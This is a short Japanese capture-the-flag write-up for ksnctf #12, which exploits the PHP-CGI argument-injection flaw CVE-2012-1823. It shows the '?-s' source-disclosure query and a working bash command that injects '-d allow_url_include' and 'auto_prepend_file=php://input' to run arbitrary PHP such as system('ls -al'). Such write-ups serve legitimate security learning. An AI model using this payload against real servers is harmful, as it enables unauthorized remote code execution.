ksnctf #12 Hypertext Preprocessor
ksnctf #12 Hypertext Preprocessor
問題
ページを開いただけではよくわからない。
解き方
とりあえずグーグル先生に出てきた数字を聞いてみる。
すると徳丸先生の脆弱性情報が出てきた。
なるほど。数字の先頭の2012:1823はCVE(脆弱性番号)で、 phpの脆弱性らしい。
試しに、URLのクエリ文字列に「?-s」をつけるとソースコードが出てきた。 [http://ctfq.sweetduet.info:10080/~q12/?-s]
ソースコードを見ると丁寧に「// Flag is in this directory.」と書かれているので、 次はOSインジェクションを試してみる。
「-d」をつけると任意のPHPコードが実行できるようなので、 参考サイトみながらちょろっとコードを書いて実行してみたらフラグをゲットできた。
# bash
echo "<?php system('ls -al'); exit(); ?>" | POST "http://ctfq.sweetduet.info:10080/~q12/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"
その他
初めはBurpを使ってクエリを書き換えていたが、bashから実行する方法がネットに載っていたので最終的にbashで答えを見つけた。
burpの使い方は慣れていないので練習が必要。
PHPの知識がなくても簡単にOSインジェクションができてしまったが、 PHPの勉強もしたい。
参考
https://blog.tokumaru.org/2012/05/php-cgi-remote-scripting-cve-2012-1823.html
https://blog.tokumaru.org/2013/11/apache-magica-attack.html
[https://pentesterlab.com/exercises/cve-2012-1823/course]